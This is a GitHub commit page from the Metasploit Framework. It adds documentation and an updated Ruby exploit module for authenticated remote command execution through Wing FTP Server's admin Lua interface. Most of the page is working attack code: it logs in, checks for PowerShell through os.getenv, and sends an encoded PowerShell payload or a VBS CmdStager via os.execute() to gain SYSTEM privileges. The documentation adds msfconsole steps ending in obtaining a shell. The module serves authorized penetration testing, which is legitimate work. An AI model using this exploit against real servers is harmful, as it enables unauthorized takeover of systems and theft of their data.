Skip to content

Commit

Permalink
Land #11077, Improvements and documentation for wing_ftp_admin_exec
Browse files Browse the repository at this point in the history
  • Loading branch information
wchen-r7 authored and msjenkins-r7 committed Mar 5, 2019
1 parent 472326a commit 83424ea
Show file tree
Hide file tree
Showing 2 changed files with 154 additions and 41 deletions.
38 changes: 38 additions & 0 deletions documentation/modules/exploit/windows/ftp/wing_ftp_admin_exec.md
@@ -0,0 +1,38 @@
## Description ##

This module exploits the embedded Lua interpreter in the admin web interface for versions 3.0.0 and above of Wing FTP Server. When supplying a specially crafted HTTP POST request an attacker can use os.execute() to execute arbitrary system commands on the target with SYSTEM privileges.

Only versions of Wing FTP Server after 3.0.0 ship with the Lua interpreter and the admin web interface. This makes versions < 3.0.0 presumably NOT vulnerable to this exploit, simply due to the fact that they do not have the capability execute commands this way.

Versions > 4.3.8 handle URL encoding differently compared to versions <= 4.3.8. Encoding the PowerShell payload with base64 allows it to work. CmdStager fails, however, as it cannot simply be base64 encoded like PowerShell. It is recommended to run `check` first before exploiting to get a feel for the vulnerable app. The module has a built-in check to detect `PowerShell` first before continuing with the exploit. It does so by calling `os.getenv()` to get environment variables, then searching for `PowerShell` case-insensitively. It will fall back to using `CmdStager` if `PowerShell` is absent and the version is <= 4.3.8.

The full changelog for Wing FTP Server can be found at [https://www.wftpserver.com/serverhistory.htm].

Information about the admin web interface can be found at [https://www.wftpserver.com/help/ftpserver/index.html?administrator_console.htm].

## Vulnerable Application ##

All versions of Wing FTP Server from 3.0.0 and up are presumed vulnerable.

Upgraded module has been tested on a Windows Server 2019 Datacenter x64 with the following versions:

- Wing FTP Server 4.3.8
- Wing FTP Server 5.1.3
- Wing FTP Server 6.0.1
- Wing FTP Server 6.0.2
- Wing FTP Server 6.0.3

Original module was been tested on Windows 7 SP1 and Windows 8.1 with the following versions:

- Wing FTP Server 4.3.6
- Wing FTP Server 4.3.8

## Verification Steps ##

- [x] Start `msfconsole`
- [x] `use exploit/windows/ftp/wing_ftp_admin_exec`
- [x] `set RHOST <target-ip>`
- [x] `set USERNAME <valid-username>`
- [x] `set PASSWORD <valid-password>`
- [x] `exploit`
- [x] **Verify** that you get a shell
157 changes: 116 additions & 41 deletions modules/exploits/windows/ftp/wing_ftp_admin_exec.rb
Expand Up @@ -3,39 +3,44 @@
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/powershell'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell

def initialize(info = {})
super(update_info(info,
'Name' => 'Wing FTP Server Authenticated Command Execution',
'Description' => %q{
This module exploits the embedded Lua interpreter in the admin web interface for
versions 4.3.8 and below. When supplying a specially crafted HTTP POST request
versions 3.0.0 and above. When supplying a specially crafted HTTP POST request
an attacker can use os.execute() to execute arbitrary system commands on
the target with SYSTEM privileges.
},
'Author' =>
[
'Nicholas Nam <nick[at]executionflow.org>'
'Nicholas Nam <nick[at]executionflow.org>',
'Imran E. Dawoodjee <imrandawoodjee.infosec[at]gmail.com>' # minor improvements
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.wftpserver.com' ]
['URL', 'http://www.wftpserver.com'],
['URL', 'https://www.wftpserver.com/help/ftpserver/index.html?administrator_console.htm']
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'Targets' =>
[
[ 'Windows VBS Stager', {} ]
['Wing FTP Server >= 3.0.0', {}]
],
'Privileged' => true,
'DisclosureDate' => 'Jun 19 2014',
'DefaultTarget' => 0
))
'DefaultTarget' => 0))

register_options(
[
Expand All @@ -45,53 +50,119 @@ def initialize(info = {})
], self.class
)
deregister_options('CMDSTAGER::FLAVOR')
deregister_options('CMDSTAGER::DECODER')
deregister_options('URIPATH')
deregister_options('SRVHOST')
deregister_options('SRVPORT')
end

@session_cookie = ''
@version = ''
@psh = false
@vuln_check = false

def check
res = send_request_cgi(
{
'uri' => '/admin_login.html',
'method' => 'GET'
})

if !res
fail_with(Failure::Unreachable, "#{peer} - Admin login page was unreachable.")
elsif res.code != 200
fail_with(Failure::NotFound, "#{peer} - Admin login page was not found.")
elsif res.body =~ /Wing FTP Server Administrator/ && res.body =~ /2003-2014 <b>wftpserver.com<\/b>/
return Exploit::CheckCode::Appears
@session_cookie = authenticate(datastore['USERNAME'], datastore['PASSWORD'])
if @session_cookie.nil?
return CheckCode::Unknown
end

ver = send_request_cgi(
'uri' => '/admin_license.html',
'method' => 'POST',
'cookie' => @session_cookie,
'ctype' => 'text/plain;charset=UTF-8'
)

unless ver
vprint_error("Connection failed!")
return CheckCode::Unknown
end

unless ver.code == 200 && ver.body.include?('Wing FTP Server')
return CheckCode::Safe
end

@version = Gem::Version.new(ver.body.scan(/Wing FTP Server ([\d\.]+)/).flatten.first)
print_status("Found Wing FTP Server #{@version}")

# Lua capabilities and administrator console were added in version 3.0.0, so everything above that is (probably) vulnerable
unless @version >= Gem::Version.new('3.0.0')
@vuln_check = false
return CheckCode::Safe
end

@vuln_check = true
winenv_path = execute_command("PATH")

unless winenv_path
vprint_error("Connection failed!")
return CheckCode::Unknown
end

Exploit::CheckCode::Safe
if winenv_path.code == 200
winenv_path.body.split(';').each do |path_val|
if (/powershell/i) =~ path_val
print_good("Found Powershell at #{path_val}")
@psh = true
end
end
else
@psh = false
end

@vuln_check = false
return CheckCode::Vulnerable
end

def exploit
username = datastore['USERNAME']
password = datastore['PASSWORD']
@session_cookie = authenticate(username, password)
vprint_status("Authenticating...")
unless [CheckCode::Vulnerable].include? check
fail_with(Failure::NotVulnerable, 'Target is most likely not vulnerable!')
end

print_status("Sending payload")
# Execute the cmdstager, max length of the commands is ~1500
execute_cmdstager(flavor: :vbs, linemax: 1500)
if @psh == true
print_status('Executing payload via PowerShell...')
psh_command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true)
execute_command(psh_command)
else
if @version > Gem::Version.new('4.3.8')
fail_with(Failure::NoTarget, "Version #{@version} detected and PowerShell not found, aborting exploit attempt!")
end
print_warning("PowerShell not found, will revert to CmdStager for payload delivery!")
print_status("Sending payload...")
# Execute the CmdStager, max length of the commands is ~1500
execute_cmdstager(flavor: :vbs, linemax: 1500)
end
end

def execute_command(cmd, _opts = {})
command = "os.execute('cmd /c #{cmd}')"
def execute_command(cmd,_opts = {})
# Wrap cmd with [[ ]] to prevent potential problems.
if @vuln_check == true
command = "print(os.getenv([[#{cmd}]]))"
else
command = "os.execute([[#{cmd}]])"
end

res = send_request_cgi(
'uri' => '/admin_lua_script.html',
'method' => 'POST',
'cookie' => @session_cookie,
'vars_post' => { 'command' => command }
'uri' => '/admin_lua_script.html',
'method' => 'POST',
'encode_params' => true,
'cookie' => @session_cookie,
'ctype' => 'text/plain;charset=UTF-8',
'vars_post' => { 'command' => command }
)

if res && res.code != 200
unless res && res.code == 200
fail_with(Failure::Unknown, "#{peer} - Something went wrong.")
end

if @vuln_check
return res
end
end

def authenticate(username, password)
print_status("Authenticating")
res = send_request_cgi(
'uri' => '/admin_loginok.html',
'method' => 'POST',
Expand All @@ -104,19 +175,23 @@ def authenticate(username, password)
}
)

uidadmin = ''
if !res
fail_with(Failure::Unreachable, "#{peer} - Admin login page was unreachable.")
elsif res.code == 200 && res.body =~ /location='main.html\?lang=english';/
unless res
print_error("#{peer} - Admin login page was unreachable.")
return nil
end

if res.code == 200 && res.body =~ /location='main.html\?lang=english';/
res.get_cookies.split(';').each do |cookie|
cookie.split(',').each do |value|
uidadmin = value.split('=')[1] if value.split('=')[0] =~ /UIDADMIN/
if value.split('=')[0] =~ /UIDADMIN/
vprint_good("Authentication successful, got session cookie #{value.split('=')[1]}")
return res.get_cookies.split(';')[0]
end
end
end
else
fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
end

"UIDADMIN=#{uidadmin}"
print_error("#{peer} - Authentication failed!")
return nil
end
end

0 comments on commit 83424ea

Please sign in to comment.